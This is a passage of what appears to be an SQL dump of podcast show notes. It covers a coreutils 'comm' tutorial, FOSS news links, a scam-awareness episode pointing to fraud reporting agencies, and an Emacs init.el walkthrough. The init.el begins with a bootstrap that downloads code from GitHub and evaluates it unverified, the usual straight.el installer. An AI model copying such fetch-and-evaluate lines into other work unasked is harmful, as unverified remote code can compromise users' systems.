by law.\n\nSEE ALSO\n       join(1), uniq(1)\n\n       Full documentation &lt;https://www.gnu.org/software/coreutils/comm&gt;\n       or available locally via: info &#39;(coreutils) comm invocation&#39;\n\nGNU coreutils 9.1</code></pre>\n<p>I always find that confusing, so for me it\'s a lot easier to see what\nis going on by creating some example files.</p>\n<p>First let\'s create some test files by echoing the number 1 and the\nnumber 2 into a file called <code>1and2.txt</code></p>\n<pre><code>[host@hpr]$ echo &quot;1&quot; &gt; 1and2.txt\n[host@hpr]$ echo &quot;2&quot; &gt;&gt; 1and2.txt</code></pre>\n<p>And let\'s create another one with the value 2 and 3 and we\'ll call it\n<code>2and3.txt</code></p>\n<pre><code>[host@hpr]$ echo &quot;2&quot; &gt; 2and3.txt\n[host@hpr]$ echo &quot;3&quot; &gt;&gt; 2and3.txt</code></pre>\n<p>Then we can see what each command does using these examples.</p>\n<pre><code>[host@hpr]$ comm -1 -2 1and2.txt 2and3.txt\n2\n[host@hpr]$ comm -1 -3 1and2.txt 2and3.txt\n3\n[host@hpr]$ comm -2 -3 1and2.txt 2and3.txt\n1\n</code></pre>\n',30,0,0,'CC-BY-SA','comm,compare,coreutils',0,0,1),
(3894,'2023-07-06','The Page 42 Show: Ugly News Week, Show\'s Epoch!',2261,'An hour of news and commentary of software development and the overall FOSS space. ','<h2 id=\"show-notes\">Show Notes</h2>\n<p>I\'m Gage Hopper, and this is my weekly(-ish) show on FOSS news and\nsoftware tinkering.</p>\n<h3 id=\"rust-being-destroyed-by-foundation-idiocy\">Rust Being Destroyed\nBy Foundation Idiocy</h3>\n<p><a\nhref=\"https://www.youtube.com/watch?v=QEnuzwCWpgQ\">https://www.youtube.com/watch?v=QEnuzwCWpgQ</a></p>\n<ul>\n<li>Rust\'s apology to JeanHeid Meneide:<br />\n<a\nhref=\"https://blog.rust-lang.org/2023/05/29/RustConf.html\">https://blog.rust-lang.org/2023/05/29/RustConf.html</a></li>\n</ul>\n<h3 id=\"opera-one-for-the-adventurous\">Opera One: For the\nadventurous</h3>\n<p><a\nhref=\"https://betanews.com/2023/06/20/opera-one-ai-powered-browsing-tab-islands-linux-windows-macos/\">https://betanews.com/2023/06/20/opera-one-ai-powered-browsing-tab-islands-linux-windows-macos/</a></p>\n<ul>\n<li>Requires an Opera Account</li>\n</ul>\n<h3 id=\"amazon-retaliates-against-luis\">Amazon Retaliates Against\nLuis</h3>\n<p><a\nhref=\"https://youtu.be/Kcohq313q00\">https://youtu.be/Kcohq313q00</a></p>\n<ul>\n<li>Luis Rossmann has been doing independent repairs for over a\ndecade</li>\n</ul>\n<h3 id=\"mesa-232-release-speeds-up-intel-arc-cards-by-11\">Mesa 23.2\nRelease Speeds Up Intel Arc Cards By 11%:</h3>\n<p><a\nhref=\"https://www.tomshardware.com/news/intel-arc-driver-linux-boost\">https://www.tomshardware.com/news/intel-arc-driver-linux-boost</a></p>\n<h3 id=\"wtf-redhat\">Wtf, RedHat?</h3>\n<p><a\nhref=\"https://hackaday.com/2023/06/23/et-tu-red-hat/\">https://hackaday.com/2023/06/23/et-tu-red-hat/</a></p>\n<h3 id=\"kotlin-korner\">Kotlin Korner</h3>\n<p>Interesting things I find worth sharing about my experiences with\nKotlin</p>\n<p>My handle is @hopper_mcs over on Twitter. Ciao!</p>\n',420,0,1,'CC-BY-SA','Page 42, P42, rust, kotlin, redhat, linux, foss, software development, mesa',0,0,1),
(3901,'2023-07-17','Time Managment',1238,'Time Managment','<p>I go over how I manage my time because I\'m a goldfish...</p>\n',36,0,1,'CC-BY-SA','self help',0,0,1),
(3941,'2023-09-11','Interview with Yosef Kerzner',3563,'Interview with Yosef Kerzner','<h3 id=\"interview-with-yosef-kerzner\">Interview with Yosef Kerzner</h3>\n<p><a href=\"https://www.linkedin.com/in/yosef-kerzner-7231ab6\"\nclass=\"uri\">https://www.linkedin.com/in/yosef-kerzner-7231ab6</a></p>\n<p><a href=\"https://yosefsblog.blogspot.com/\"\nclass=\"uri\">https://yosefsblog.blogspot.com/</a></p>\n<ul>\n<li><p><a href=\"https://m.youtube.com/watch?v=AaTRHFaaPG8\"\nclass=\"uri\">https://m.youtube.com/watch?v=AaTRHFaaPG8</a> this is a\nreally good interview if you want to be terrified by AI ( about 1/2 way\nin the video )</p></li>\n<li><p><a\nhref=\"https://www.google.com/search?q=%22PROBIOTIC+GEM+CULTURED%22+filetype%3Apdf\"\nclass=\"uri\">https://www.google.com/search?q=%22PROBIOTIC+GEM+CULTURED%22+filetype%3Apdf</a></p></li>\n</ul>\n',36,0,1,'CC-BY-SA','Interviews,hacking,ai',0,0,1),
(3898,'2023-07-12','The Oh No! News.',1485,'Sgoti talks about internet scams.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> User space, Cybercrime, fraud, scams</li>\n</ul>\n<hr />\n<h3 id=\"user-space.\"><strong>User space.</strong></h3>\n<p>Cybercrime, also known as scams or fraud, is constantly evolving due\nto the many data breaches occurring around the world. Attackers gather\nmore of our personal data from these data breaches, then use that data\nto develop or modify their attacks. Users must remain on guard against\nsocial engineered attacks aimed at defrauding users of personal\ninformation and/or property (usually money/currency). I&#x2019;m suggesting\nusers update themselves as they would update their computers. Knowing\nthe types of attacks and how the attack is deployed will benefit you in\nthe fight against Cybercrime.<br />\n</p>\n<p>Reporting Cybercrime is beneficial for all users. When a user reports\nCybercrime, that information can help investigators combat this growing\nthreat; and broadcast warnings to the greater population. I&#x2019;ve provided\na few links below to assist you in learning and reporting\nCybercrime.<br />\n</p>\n<p>Common delivery methods for social engineered attacks are:<br />\n</p>\n<ul>\n<li>Email (attackers imitate legitimate organizations in design\nonly).<br />\n</li>\n<li>Mobile (voice, text messages, and app stores).<br />\n</li>\n<li>Social Media (direct messages and marketplaces).<br />\n</li>\n<li>Websites (including fraudulent ads and popups).<br />\n</li>\n</ul>\n<p>Common data and/or property (e.g. currency) extraction methods\nare:<br />\n</p>\n<ul>\n<li><p>Peer-to-peer payment service apps (Venmo, Zelle, Cash App...etc).\nWARNING, your money goes where ever you send it (including\nscammers).<br />\n</p></li>\n<li><p>Wire transfers: transfer currency from one entity to another\n(account-to-account). WARNING, your money goes where ever you send it\n(including scammers).<br />\n</p></li>\n<li><p>Cryptocurrency: <strong>100% Scam</strong>. Light your money on\nfire for more value (reversing/recovering payment is virtually\nimpossible).<br />\n</p></li>\n<li><p>Store gift cards: Unverifiable way to use currency (online or in\nstore). WARNING, scammers prefer gift cards as payment\n(reversing/recovering payment is virtually impossible).<br />\n</p></li>\n<li><p><strong>Source:</strong> <a href=\"https://www.ic3.gov/\">Internet\nCrime Complaint Center (IC3)</a> The Internet Crime Complaint Center, or\nIC3, is the Nation&#x2019;s central hub for reporting cyber crime. It is run by\nthe FBI, the lead federal agency for investigating cyber crime.<br />\n</p>\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://consumer.ftc.gov/all-scams\">Federal Trade Commission: All\nScams</a><br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.actionfraud.police.uk/\">Action Fraud, the national\nreporting centre for fraud and cybercrime.</a> Action Fraud is the UK&#x2019;s\nnational reporting centre for fraud and cybercrime where you should\nreport fraud if you have been scammed, defrauded or experienced cyber\ncrime in England, Wales and Northern Ireland.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.europol.europa.eu/report-a-crime/report-cybercrime-online\">European\nUnion Agency for Law Enforcement Cooperation</a> If you have fallen\nvictim to cybercrime, click on one of the links below to be redirected\nto the reporting website of your country. Reporting mechanisms vary from\none country to another. In Member States which do not have a dedicated\nonline option in place, you are advised to go to your local police\nstation to lodge a complaint.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://report.con.rcmp-grc.gc.ca/\">National Cybercrime and Fraud\nReporting System.</a> Reporting a scam or computer crime helps the Royal\nCanadian Mounted Police (RCMP), the National Cybercrime Coordination\nUnit (NC3) and the Canadian Anti-Fraud Centre (CAFC)Reporting a scam or\ncomputer crime helps the Royal Canadian Mounted Police (RCMP), the\nNational Cybercrime Coordination Unit (NC3) and the Canadian Anti-Fraud\nCentre (CAFC) learn more about the nature of these incidents. The\ninformation you include in your report helps us follow cybercrime and\nfraud trends. We use this information to help protect more people from\nharm. It is the role of local police services to investigate.<br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.reddit.com/r/Scams/\">Scams subreddit.</a><br />\n</p>\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://www.fbi.gov/how-we-can-help-you/safety-resources/scams-and-safety/common-scams-and-crimes\">Common\nScams and Crimes.</a> The following are some of the most common scams\nand crimes that the FBI encounters, as well as tips to help prevent you\nfrom being victimized.<br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://duckduckgo.com/?t=ffab&amp;q=Where+do+I+report+online+scams%3F&amp;ia=web\">DuckDuckGo\nSearch: Where do I report online scams?</a><br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://www.paypal.com/us/cshelp/article/whats-the-difference-between-friends-and-family-or-goods-and-services-payments-help277\">Paypal:\nWhat\'s the difference between friends and family or goods and services\npayments?</a><br />\n</p></li>\n</ul>\n<p><img src=\"/eps/hpr3898/hpr3898/hpr-eps38diagram.drawio.png\" /></p>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','User space, Cybercrime, fraud, scams',0,0,1),
(3892,'2023-07-04','Emacs package curation, part 1',2132,'Let\'s go through every single package installed in my Emacs configuration.','<p>Not really every single one, because straight.el installs\ndependencies automatically.</p>\n<p>Here\'s the file I went through during this recording. Some things may\nhave changed slightly since the time of recording. Save this file in\n<code>~/.emacs.d/init.el</code> to reproduce my exact Emacs\nconfiguration that I use at home and at work.</p>\n<pre class=\"elisp\"><code>;;; init.el ---  This is Tiago&#39;s init.el file\n;;; Commentary:\n;;; Thanks to everyone that curates Emacs packages.\n\n;;; Code:\n;; BEGIN Straight.el bootstrap\n(defvar bootstrap-version)\n(let ((bootstrap-file\n       (expand-file-name &quot;straight/repos/straight.el/bootstrap.el&quot; user-emacs-directory))\n      (bootstrap-version 6))\n  (unless (file-exists-p bootstrap-file)\n    (with-current-buffer\n        (url-retrieve-synchronously\n         &quot;https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el&quot;\n         &#39;silent &#39;inhibit-cookies)\n      (goto-char (point-max))\n      (eval-print-last-sexp)))\n  (load bootstrap-file nil &#39;nomessage))\n;; END Straight.el bootstrap\n\n(straight-use-package &#39;use-package)\n(setq straight-use-package-by-default t)\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; &lt;&lt;&lt; THE ESSENTIALS &gt;&gt;&gt;  ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n;; Get minor modes off the modeline\n(use-package diminish)\n\n(use-package evil\n  :init (setq evil-want-keybinding nil)\n  :config (evil-mode)\n  :custom (evil-undo-system &#39;undo-redo)\n  :bind (&quot;C-u&quot; . evil-scroll-up))\n\n(use-package evil-collection\n  :diminish evil-collection-unimpaired-mode\n  :after evil\n  :config (evil-collection-init))\n\n(use-package evil-surround\n  :after evil\n  :config\n  (global-evil-surround-mode 1))\n\n;; In-Buffer Completion\n(use-package company\n  :diminish\n  :config (global-company-mode))\n\n;; completion with extra info box\n(use-package company-box\n  :diminish\n  :hook (company-mode . company-box-mode))\n\n;; Show key bindings as you go\n(use-package which-key\n  :diminish\n  :config (which-key-mode))\n\n;; search query feedback in the buffer\n(use-package anzu\n  :diminish\n  :config (global-anzu-mode +1))\n\n(use-package evil-anzu)\n\n;; Completion in the minibuffer (snippet from vertico)\n(use-package vertico\n  :init\n  (vertico-mode)\n\n  ;; Different scroll margin\n  ;; (setq vertico-scroll-margin 0)\n\n  ;; Show more candidates\n  ;; (setq vertico-count 20)\n\n  ;; Grow and shrink the Vertico minibuffer\n  ;; (setq vertico-resize t)\n\n  ;; Optionally enable cycling for `vertico-next&#39; and `vertico-previous&#39;.\n  ;; (setq vertico-cycle t)\n  )\n\n;; Persist history over Emacs restarts. Vertico sorts by history position.\n;; (use-package savehist\n;;   :init\n;;   (savehist-mode))\n\n;; A few more useful configurations...\n(use-package emacs\n  :init\n  ;; Add prompt indicator to `completing-read-multiple&#39;.\n  ;; We display [CRM&lt;separator&gt;], e.g., [CRM,] if the separator is a comma.\n  (defun crm-indicator (args)\n    (cons (format &quot;[CRM%s] %s&quot;\n                  (replace-regexp-in-string\n                   &quot;\\\\`\\\\[.*?]\\\\*\\\\|\\\\[.*?]\\\\*\\\\&#39;&quot; &quot;&quot;\n                   crm-separator)\n                  (car args))\n          (cdr args)))\n  (advice-add #&#39;completing-read-multiple :filter-args #&#39;crm-indicator)\n\n  ;; Do not allow the cursor in the minibuffer prompt\n  (setq minibuffer-prompt-properties\n        &#39;(read-only t cursor-intangible t face minibuffer-prompt))\n  (add-hook &#39;minibuffer-setup-hook #&#39;cursor-intangible-mode)\n\n  ;; Emacs 28: Hide commands in M-x which do not work in the current mode.\n  ;; Vertico commands are hidden in normal buffers.\n  ;; (setq read-extended-command-predicate\n  ;;       #&#39;command-completion-default-include-p)\n\n  ;; Enable recursive minibuffers\n  (setq enable-recursive-minibuffers t))\n\n;; Optionally use the `orderless&#39; completion style.\n;; Get completion even if you type substrings that don&#39;t match in the\n;; same order you typed them in.\n(use-package orderless\n  :init\n  ;; Configure a custom style dispatcher (see the Consult wiki)\n  ;; (setq orderless-style-dispatchers &#39;(+orderless-consult-dispatch orderless-affix-dispatch)\n  ;;       orderless-component-separator #&#39;orderless-escapable-split-on-space)\n  (setq completion-styles &#39;(orderless basic)\n        completion-category-defaults nil\n        completion-category-overrides &#39;((file (styles partial-completion)))))\n\n;; Enable rich annotations in the completion\n(use-package marginalia\n  ;; Either bind `marginalia-cycle&#39; globally or only in the minibuffer\n  :bind ((&quot;M-A&quot; . marginalia-cycle)\n         :map minibuffer-local-map\n         (&quot;M-A&quot; . marginalia-cycle))\n\n  ;; The :init configuration is always executed (Not lazy!)\n  :init\n\n  ;; Must be in the :init section of use-package such that the mode gets\n  ;; enabled right away. Note that this forces loading the package.\n  (marginalia-mode))\n\n;; Searching commands and lots of other stuff\n;; This is a snippet taken from consult\n(use-package consult\n  ;; Replace bindings. Lazily loaded due by `use-package&#39;.\n  :bind (;; C-c bindings in `mode-specific-map&#39;\n         (&quot;C-c M-x&quot; . consult-mode-command)\n         (&quot;C-c h&quot; . consult-history)\n         (&quot;C-c k&quot; . consult-kmacro)\n         (&quot;C-c m&quot; . consult-man)\n         (&quot;C-c i&quot; . consult-info)\n         ([remap Info-search] . consult-info)\n         ;; C-x bindings in `ctl-x-map&#39;\n         (&quot;C-x M-:&quot; . consult-complex-command)     ;; orig. repeat-complex-command\n         (&quot;C-x b&quot; . consult-buffer)                ;; orig. switch-to-buffer\n         (&quot;C-x 4 b&quot; . consult-buffer-other-window) ;; orig. switch-to-buffer-other-window\n         (&quot;C-x 5 b&quot; . consult-buffer-other-frame)  ;; orig. switch-to-buffer-other-frame\n         (&quot;C-x r b&quot; . consult-bookmark)            ;; orig. bookmark-jump\n         (&quot;C-x p b&quot; . consult-project-buffer)      ;; orig. project-switch-to-buffer\n         ;; Custom M-# bindings for fast register access\n         (&quot;M-#&quot; . consult-register-load)\n         (&quot;M-&#39;&quot; . consult-register-store)          ;; orig. abbrev-prefix-mark (unrelated)\n         (&quot;C-M-#&quot; . consult-register)\n         ;; Other custom bindings\n         (&quot;M-y&quot; . consult-yank-pop)                ;; orig. yank-pop\n         ;; M-g bindings in `goto-map&#39;\n         (&quot;M-g e&quot; . consult-compile-error)\n         (&quot;M-g f&quot; . consult-flymake)               ;; Alternative: consult-flycheck\n         (&quot;M-g g&quot; . consult-goto-line)             ;; orig. goto-line\n         (&quot;M-g M-g&quot; . consult-goto-line)           ;; orig. goto-line\n         (&quot;M-g o&quot; . consult-outline)               ;; Alternative: consult-org-heading\n         (&quot;M-g m&quot; . consult-mark)\n         (&quot;M-g k&quot; . consult-global-mark)\n         (&quot;M-g i&quot; . consult-imenu)\n         (&quot;M-g I&quot; . consult-imenu-multi)\n         ;; M-s bindings in `search-map&#39;\n         (&quot;M-s d&quot; . consult-find)\n         (&quot;M-s D&quot; . consult-locate)\n         (&quot;M-s g&quot; . consult-grep)\n         (&quot;M-s G&quot; . consult-git-grep)\n         (&quot;M-s r&quot; . consult-ripgrep)\n         (&quot;M-s l&quot; . consult-line)\n         (&quot;M-s L&quot; . consult-line-multi)\n         (&quot;M-s k&quot; . consult-keep-lines)\n         (&quot;M-s u&quot; . consult-focus-lines)\n         ;; Isearch integration\n         (&quot;M-s e&quot; . consult-isearch-history)\n         :map isearch-mode-map\n         (&quot;M-e&quot; . consult-isearch-history)         ;; orig. isearch-edit-string\n         (&quot;M-s e&quot; . consult-isearch-history)       ;; orig. isearch-edit-string\n         (&quot;M-s l&quot; . consult-line)                  ;; needed by consult-line to detect isearch\n         (&quot;M-s L&quot; . consult-line-multi)            ;; needed by consult-line to detect isearch\n         ;; Minibuffer history\n         :map minibuffer-local-map\n         (&quot;M-s&quot; . consult-history)                 ;; orig. next-matching-history-element\n         (&quot;M-r&quot; . consult-history))                ;; orig. previous-matching-history-element\n\n  ;; Enable automatic preview at point in the *Completions* buffer. This is\n  ;; relevant when you use the default completion UI.\n  :hook (completion-list-mode . consult-preview-at-point-mode)\n\n  ;; The :init configuration is always executed (Not lazy)\n  :init\n\n  ;; Optionally configure the register formatting. This improves the register\n  ;; preview for `consult-register&#39;, `consult-register-load&#39;,\n  ;; `consult-register-store&#39; and the Emacs built-ins.\n  (setq register-preview-delay 0.5\n        register-preview-function #&#39;consult-register-format)\n\n  ;; Optionally tweak the register preview window.\n  ;; This adds thin lines, sorting and hides the mode line of the window.\n  (advice-add #&#39;register-preview :override #&#39;consult-register-window)\n\n  ;; Use Consult to select xref locations with preview\n  (setq xref-show-xrefs-function #&#39;consult-xref\n        xref-show-definitions-function #&#39;consult-xref)\n\n  ;; Configure other variables and modes in the :config section,\n  ;; after lazily loading the package.\n  :config\n\n  ;; Optionally configure preview. The default value\n  ;; is &#39;any, such that any key triggers the preview.\n  ;; (setq consult-preview-key &#39;any)\n  ;; (setq consult-preview-key &quot;M-.&quot;)\n  ;; (setq consult-preview-key &#39;(&quot;S-&lt;down&gt;&quot; &quot;S-&lt;up&gt;&quot;))\n  ;; For some commands and buffer sources it is useful to configure the\n  ;; :preview-key on a per-command basis using the `consult-customize&#39; macro.\n  (consult-customize\n   consult-theme :preview-key &#39;(:debounce 0.2 any)\n   consult-ripgrep consult-git-grep consult-grep\n   consult-bookmark consult-recent-file consult-xref\n   consult--source-bookmark consult--source-file-register\n   consult--source-recent-file consult--source-project-recent-file\n   ;; :preview-key &quot;M-.&quot;\n   :preview-key &#39;(:debounce 0.4 any))\n\n  ;; Optionally configure the narrowing key.\n  ;; Both &lt; and C-+ work reasonably well.\n  (setq consult-narrow-key &quot;&lt;&quot;) ;; &quot;C-+&quot;\n\n  ;; Optionally make narrowing help available in the minibuffer.\n  ;; You may want to use `embark-prefix-help-command&#39; or which-key instead.\n  ;; (define-key consult-narrow-map (vconcat consult-narrow-key &quot;?&quot;) #&#39;consult-narrow-help)\n\n  ;; By default `consult-project-function&#39; uses `project-root&#39; from project.el.\n  ;; Optionally configure a different project root function.\n  ;;;; 1. project.el (the default)\n  ;; (setq consult-project-function #&#39;consult--default-project--function)\n  ;;;; 2. vc.el (vc-root-dir)\n  ;; (setq consult-project-function (lambda (_) (vc-root-dir)))\n  ;;;; 3. locate-dominating-file\n  ;; (setq consult-project-function (lambda (_) (locate-dominating-file &quot;.&quot; &quot;.git&quot;)))\n  ;;;; 4. projectile.el (projectile-project-root)\n  ;; (autoload &#39;projectile-project-root &quot;projectile&quot;)\n  ;; (setq consult-project-function (lambda (_) (projectile-project-root)))\n  ;;;; 5. No project support\n  ;; (setq consult-project-function nil)\n)\n\n;; workspaces\n(use-package perspective\n  :bind (&quot;C-x C-b&quot; . persp-list-buffers)         ; or use a nicer switcher, see below\n  :custom (persp-mode-prefix-key (kbd &quot;C-c M-p&quot;))  ; pick your own prefix key here\n  :init (persp-mode))\n\n;; theme\n(use-package doom-themes\n  :config\n  ;; Global settings (defaults)\n  (setq doom-themes-enable-bold t    ; if nil, bold is universally disabled\n        doom-themes-enable-italic t) ; if nil, italics is universally disabled\n  (load-theme &#39;doom-one t)\n\n  ;; Corrects (and improves) org-mode&#39;s native fontification.\n  (doom-themes-org-config))\n\n;; modeline\n(use-package powerline\n  :straight (:host github :repo &quot;milkypostman/powerline&quot;)\n  :config (powerline-default-theme))\n\n;; modeline theme\n(use-package airline-themes\n  :config (load-theme &#39;airline-onedark t))\n\n;; makes temporary or non-editing buffers darker\n(use-package solaire-mode\n  :config (solaire-global-mode +1))\n\n;; snippets\n(use-package yasnippet\n  :diminish yas-minor-mode\n  :straight (:host github :repo &quot;joaotavora/yasnippet&quot;)\n  :config (yas-global-mode 1))\n\n;; projects\n(use-package projectile\n  :bind-keymap\n  (&quot;C-c p&quot; . projectile-command-map))\n\n(use-package rg)\n\n;;;;;;;;;;;\n;;; Org ;;;\n;;;;;;;;;;;\n\n(use-package org\n  :commands (org-mode)\n  :init (setq org-directory &quot;~/org/&quot;\n              org-noter-notes-search-path &#39;(&quot;~/org/roam/&quot;)\n              org-cite-global-bibliography &#39;(&quot;~/org/biblio.bib&quot;)\n              org-capture-templates\n                     &#39;((&quot;n&quot; &quot;Note&quot; entry\n                              (file 